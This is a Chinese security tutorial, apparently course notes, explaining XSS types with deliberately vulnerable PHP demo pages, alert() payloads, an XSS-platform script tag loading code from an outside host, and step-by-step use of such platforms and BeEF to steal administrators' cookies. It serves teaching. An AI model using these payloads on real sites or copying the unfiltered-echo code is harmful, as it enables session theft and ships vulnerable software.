文章目录

  • XSS跨站原理分类和攻击手法
    • 知识汇总
      • XSS 跨站漏洞
        • 1. XSS简介
        • 2. 产生层面
        • 3. 函数类
        • 4. 漏洞操作对应层
        • 5. 危害影响
        • 6. `浏览器内核版本`
        • 7. 常出现场景
      • XSS常见出现漏洞的地方
      • XSS 跨站漏洞分类:
        • 1. 反射型
        • 2. 储存型
        • 3. DOM型
        • 常用的DOM方法
      • XSS 漏洞原理([转自此博客](https://www.jianshu.com/p/4fcb4b411a66))
        • 1. 反射型XSS
        • 2. 存储型XSS
        • 3. DOM XSS
      • XSS 常规攻击手法:
      • XSS平台及工具使用 postman软件
      • XSS经典应用案例测试
        • xss漏洞存在的地方
      • cookie session
      • Webshell后门中的后门
      • Session与Cookie获取问题
        • 盗取Cookie的前提条件
    • 演示案例:
      • 1.某营销订单系统化xss盲打_平台
      • 2.某shell箱子系统xss盲打_工具
      • 3.其他参考应用案例-后台权限维持
      • 4.工具http/s数据包提交postman使用
        • 案例1:某营销订单系统化xss盲打_平台
        • 案例2:某 Shell 箱子系统 XSS 盲打_工具
        • 案例3:其他参考应用案例-后台权限维持
          • beef工具使用
          • 下载beef
        • 案例4:工具 Http/s 数据包提交 Postman 使用
        • 5.XSS平台的使用和搭建
  • 涉及资源:

XSS跨站原理分类和攻击手法


就是和html语言打交道

归纳很全的大佬文章

二十五:XSS跨站值原理分类及攻击手法 - 九~月 - 博客园 (cnblogs.com)

知识汇总

XSS 跨站漏洞

1. XSS简介

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

2. 产生层面

产生层面一般都是在前端,JavaScript代码能干什么,执行之后就会达到相应的效果

3. 函数类

比如说php中的脚本的输出函数

常见的输出函数有:print、print_r、echo、printf、sprintf、die、var_dump、var_export

4. 漏洞操作对应层

5. 危害影响

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  • 盗窃企业重要的具有商业价值的资料

  • 非法转账

  • 强制发送电子邮件

  • 网站挂马

  • 控制受害者机器向其它网站发起攻击

6. 浏览器内核版本

利用这个漏洞需要浏览器版本和内核没有过滤XSS攻击
ie 浏览器默认不行

7. 常出现场景

文章发表、评论、留言、注册资料的地方、修改资料的地方等

XSS常见出现漏洞的地方

数据交互的地方§ get、post、cookies、headers§ 反馈与浏览§ 富文本编辑器§ 各类标签插入和自定义
数据输出的地方§ 用户资料§ 关键词、标签、说明§ 文件上传

XSS 跨站漏洞分类:

1. 反射型

<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
(虽然还有种DOM型XSS,但是也还是包括在反射型XSS内)

为什么叫反射型XSS呢?
那是因为这种攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来的。

为什么又叫非持久性XSS呢?
那是因为这种攻击方式只有一次性。

发包 x=xiaodi => x.php => 回包

2. 储存型

<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(。

为什么又叫持久性XSS?
那是因为这种攻击方式,是直接把恶意代码存入到数据库中,那么下一次当其他用户访问该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本。

发包 x=xiaodi => x.php (后端代码)=> 写到数据库某个表 => x.php =>回显

3. DOM型

DOM可以被认为是一种通过将页面元素以对象的树形方式表现,以便由Javascript组织处理的实现方法。

例如哔哩哔哩评论就是用dom型加载的,url 不用改,简单理解:请求时,加载页面数据的展现形式不一样

常用的DOM方法

用户可通过 JavaScript (以及其他编程语言)对 HTML DOM 进行访问。所有 HTML 元素被定义为对象,而编程接口则是对象方法和对象属性。

基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

发包 x=xiaodi => 本地浏览器静态前端代码 =x.php

一个是后端语言进行数据处理
dom 属于用js代码经行处理可以从源代码分析dom xss漏洞

代码:

#' οnclick="alert(2)">

XSS 漏洞原理(转自此博客)

1. 反射型XSS

在黑盒测试中,这种类型比较容易通过漏洞扫描器直接发现,我们只需要按照扫描结果进行相应的验证就可以了。

相对的在白盒审计中, 我们首先要寻找带参数的输出函数,接下来通过输出内容回溯到输入参数,观察是否过滤即可。

无案例不足以求真,这里我们选用echo()函数作为实例来分析:

新建 XssReflex.php,代码如下:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input">
<input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?>
</body>
</html>

这是一个很简单、也很常见的页面:

变量 $XssReflex 获取 get 方式传递的变量名为 input 的变量值(值为一个字符串),然后直接通过echo()函数输出,注意这中间并未对用户输入进行任何过滤。

打开Firefox输入url:https://localhost/codeaudit/xss/XssReflex.php :

当我们输入 1 ,页面返回 1 :

当我们输入hello时,页面返回 hello :

以上都为正常的输出,但如果我们输出一些JavaScript代码呢?

比如我们输入 :s

可以看到浏览器成功弹窗,说明我们输出的JavaScript代码成功被执行了。

我们查看网页html代码:

第12行增加了:

<script>alert('xss')</script>

这个弹窗并没有什么实际的意义,但通过它我们知道输入javascript代码是可以被执行的,当我们输入一些其他函数,比如 document.cookie 就可以成功盗取用户的cookie信息,或者读取用户浏览器信息等,为我们进一步深入攻击做铺垫。

2. 存储型XSS

和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中,当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。

存储型XSS攻击流程:

存储型XSS的白盒审计同样要寻找未过滤的输入点和未过滤的输出函数。

使用cat命令查看 XssStorage.php 代码

shiyanlou:~/ $ cat XssStorage.php

代码如下:

<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>  <html>  <head>  <title>XssStorage</title>  </head>  <body>  <h2>Message Board<h2>  <br><form action="XssStorage.php" method="post">  Message:<textarea id='Mid' name="desc"></textarea>  <br>  <br>  Subuser:<input type="text" name="user"/><br> <br><input type="submit" value="submit" οnclick='loction="XssStorage.php"'/>  </form>  <?php  if(isset($_POST['user'])&&isset($_POST['desc'])){  $log=fopen("sql.txt","a");  fwrite($log,$_POST['user']."\r\n");  fwrite($log,$_POST['desc']."\r\n");  fclose($log);  }  if(file_exists("sql.txt"))  {  $read= fopen("sql.txt",'r');  while(!feof($read))  {  echo fgets($read)."</br>";  }  fclose($read);  }  ?>  </body>  </html></span>

页面功能简述:

这个页面采用POST提交数据,生成、读取文本模拟数据库,提交数据之后页面会将数据写入sql.txt,再打开页面时会读取sql.txt中内容并显示在网页上,实现了存储型xss攻击模拟。

打开Firefox输入url:localhost/codeaudit/xss/XssStorage.php :

我们随意输出一些内容:

可以看到页面正常显示页面留言信息。

当我们在Message中输入<script>alert('xss')</script>时,页面成功弹窗 :

并且我们重启浏览器之后再加载该页面,页面依然会弹窗,这是因为恶意代码已经写入数据库中,每当有人访问该页面时,恶意代码就会被加载执行!

我们查看网页html代码:

这就是所谓的存储型XSS漏洞,一次提交之后,每当有用户访问这个页面都会受到XSS攻击,危害巨大。

3. DOM XSS

​ 特殊的存反射型XSS

自己的理解:漏洞就在htmL代码里实现
知识点:php代码在客户端是显示执行后的结果
html代码 在服务端和客户端看是一样的
通过javascript 操作代码这种情况称为dom型

XSS 常规攻击手法:

平台,工具,结合其他等

攻击成功的条件:对方有漏洞,浏览器存有cookie,浏览器不进行拦截,不存在带代码过滤和httponly,对方要触发这个漏洞地址

1、xss平台 https://xssye.com

<sCRiPt sRC=http://xssye.com/fX8W></sCrIpT>

2、工具
3、结合其他漏洞 CSRF跨站请求伪造

XSS平台及工具使用 postman软件

WEBSHELL箱子管理系统   用beef反拿到订单管理系统的shell,进行社工,以及钓鱼各种操作。

XSS经典应用案例测试

xss漏洞存在的地方

留言板 评论区 订单系统 意见反馈等

cookie session

用户凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型企业
session 会话 存储服务器 存活时间较短 大型企业 会话劫持

session会占用服务器的资源,但是比较安全。比如说javaweb中的session序列化和反序列化。

Webshell后门中的后门

webshell箱子

Session与Cookie获取问题

XSS盲打:瞎打,只要存在一处就行。

拿到cookie还得查看是否是cookie验证还是session验证

获取phpinfo界面里面的session id ,用xss平台拿网页源码。beef让用户访问phpinfo信息

document.cookie等
配合读取phpinfo等信息源码等

盗取Cookie的前提条件

网站存在xss漏洞
管理员保存密码(有cookie)
浏览器内核满足(不是ie)

演示案例:

1.某营销订单系统化xss盲打_平台

2.某shell箱子系统xss盲打_工具

3.其他参考应用案例-后台权限维持

4.工具http/s数据包提交postman使用

案例1:某营销订单系统化xss盲打_平台

待完成

管理后台查看:

xss平台:

案例2:某 Shell 箱子系统 XSS 盲打_工具

跨站漏洞可以应用在很多方面

webShell 箱子(后门中的后门) 一句话shell,脚本后门(大马),脚本控制网站,别有用心的人会在脚本中再写上后面,你入侵一个网站之后,你用他的后门脚本对网站进行一个控制,那么入侵网站的信息,你的后门地址,后门密码,会发送到一个地方,俗称
箱子、信封。

把你的后门地址和密码传回…

网上很多工具大马都有后门,把记录上传到他们那获利,自己成为工具人。

参考链接 https://blog.csdn.net/xf555er/article/details/105151100

使用的时候可以抓包看是否向不明地址发数据包,如果它发送的是账户密码之类,在箱子管理页面有回显,那我们可以构造xss脚本反杀

本地搭建

用大马它会调用脚本发送到盒子

3、随意构造一个一句话木马,然后再一句话木马代码里插入javascript语句来制作后门(调用webshell箱子里的api.asp文件)。

4、当你插入这个一句话木马在某个网页,它会发送这个网页的url以及一句话木马的密码到后门服务器

5、当我们使用一些大马时可以通过抓包来判断是否有后门

当我们找到后门服务器的地址后,可以通过插入XSS语句来反杀后门

利用burp抓到发送到后门服务器的包,将发送的参数修改成xss代码

然后去后门服务器地址看一下,出现弹窗

案例3:其他参考应用案例-后台权限维持

beef工具使用

这里发现下载太慢了
把之前阿里的换中科的源

vim /etc/apt/sources.list  打开apt源deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib更新源:apt-get update
下载beef
sudo apt-get install beef-xss

修改默认密码,记得重启电脑或者杀死beef进程才能生效。

案例4:工具 Http/s 数据包提交 Postman 使用

添加cookie,后成功跳转后台

因为采用的是session验证, 那么xss平台是接收不到PHPSESSION的,

session 是存储在网站服务器的。

5.XSS平台的使用和搭建

搭建蓝莲花xss测试平台

(可以github 自己搭建)
大多数的xss平台都类似
XSS Platform我自己注册的

https://xsshs.cn/xss.php?do=login

  1. 注册

  1. 新创建一个我的项目

  1. 选择自己需要的功能,打钩

  1. 查看代码

  1. 把这些跨站代码弄到目标攻击的网站

  1. 等管理员查看后台留言板的时候

  1. 发现请求了这个地址。在平台上就有信息了

涉及资源:

http://xss.fbisb.com/ XSS平台
https://xssye.com XSS平台
https://github.com/tennc/webshell
https://www.postman.com/downloads/ Postman工具下载

参考博客:
https://blog.csdn.net/MCTSOG/article/details/123432298
https://blog.csdn.net/zr1213159840/article/details/122287072

https://blog.csdn.net/MCTSOG/article/details/123407098?spm=1001.2101.3001.6650.16&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16.pc_relevant_default&utm_relevant_index=22
https://blog.csdn.net/weixin_44532761/article/details/121744243?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&utm_relevant_index=9

https://www.jianshu.com/p/4fcb4b411a66

25.XSS跨站原理分类和攻击手法相关推荐

  1. xxs跨站之原理分类及攻击手法(25)

    xss跨站达到原理,危害和特点 他和语言没有太大关系,它大部分都是属于一个前端的漏洞,搭建一个简易的php网站存在xss跨站漏洞 访问这个网站,x=1,就输出1, 如果我们把x=<script& ...

  2. day36 XSS跨站MXSSUXSSFlashXSSPDFXSS

    前言 #知识点: 1.XSS跨站-原理&攻击&分类等 2.XSS跨站-MXSS&UXSS&FlashXss&PDFXSS等 1.原理 指攻击者利用网站程序对用户 ...

  3. Web漏洞-Xss跨站

    25.Xss跨站之原理分类及攻击方法 原理 XSS 跨站漏洞产生原理,危害,特点? 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本等 本质 跨站脚本攻击是指攻击者往Web页面里插入恶 ...

  4. 第三十五天:XSS跨站反射存储DOM盲打劫持

    XSS跨站-原理&攻击&分类等 XSS跨站-反射型&存储型&DOM型等 XSS跨站-攻击手法&劫持&盗取凭据等 XSS跨站-攻击项目&XSS平台 ...

  5. 如何进行渗透测试XSS跨站攻击检测

    国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲 ...

  6. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等...

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  7. php mysql可以跨站_Laravel5中防止XSS跨站攻击的方法

    本文实例讲述了Laravel5中防止XSS跨站攻击的方法.分享给大家供大家参考,具体如下: Laravel 5本身没有这个能力来防止xss跨站攻击了,但是这它可以使用Purifier 扩展包集成 HT ...

  8. xss跨站攻击【网络攻防CTF】(保姆级图文)

    目录 什么是xss跨站攻击 实验内容 实验步骤 如何避免xss跨站攻击 总结 欢迎关注 『网络攻防CTF』 系列,持续更新中 欢迎关注 『网络攻防CTF』 系列,持续更新中 什么是xss跨站攻击 跨站 ...

  9. web安全性测试——XSS跨站攻击

    一.什么是xss跨站攻击 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS. ...

  10. XSS跨站攻击解决办法--AntiSamy的配置及使用

    XSS跨站攻击 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击 ...

最新文章

  1. 堆排序(heap_sort)
  2. 如何理解python_如何理解 Python
  3. php 判断当前栏目高亮,Phpcms V9采用if语句判断当前栏目高亮、判断分类信息是否过期...
  4. 国内外知名光端机品牌大全
  5. LeakCanary,检测安卓,java内存泄漏
  6. 深度挖掘论文:《Semantic Soft Segmentation》(语义软分割)
  7. 嵌入式数据库Sqlite移植教程-转
  8. Windows IIS 服务器配置HTTPS启用TLS协议。
  9. R语言在图上标出点坐标_利用R语言的leaflet包根据GPS信息在地图上标点
  10. CAS(Compare and Swap)理解
  11. Spring事务(4):事务属性之7种传播行为
  12. 好用的3D建模软件,就是不用?
  13. 美格智能5G模组助力电力巡检之无人机产品智能化高效运作
  14. java jframe 图片_java中JFrame添加背景图片
  15. react的css样式
  16. iOS Safari阅读模式研究
  17. kotlin-stdlib_使用Kotlin stdlib使您的生活更轻松
  18. face论文翻译--3D Face Morphable Models “In-the-Wild”
  19. 蒂姆·库克:虚假新闻正在侵蚀人们的大脑
  20. AIX创建激活删除LV

热门文章

  1. PHP常用函数大全500+
  2. endnotex7 + word2016 高效管理参考文献
  3. 毕业设计之 - 题目:基于LSTM的预测算法 - 股票预测 天气预测 房价预测
  4. python求两坐标距离_如何使用Python已知两坐标求距离?
  5. 【实践1】Python调用搜狗语音,自制语音识别转文字生成字幕软件,并生成会议纪录。
  6. MATPOWER工具本质原理解析
  7. icem划分网格步骤_ICEM CFD教程-icem网格划分教程
  8. 计算机运行命令定时关机,电脑定时关机命令 使用系统命令定时关机 - 云骑士一键重装系统...
  9. 使用vcpkg安装指定版本的开源软件
  10. Android Studio 嵌入X5WebView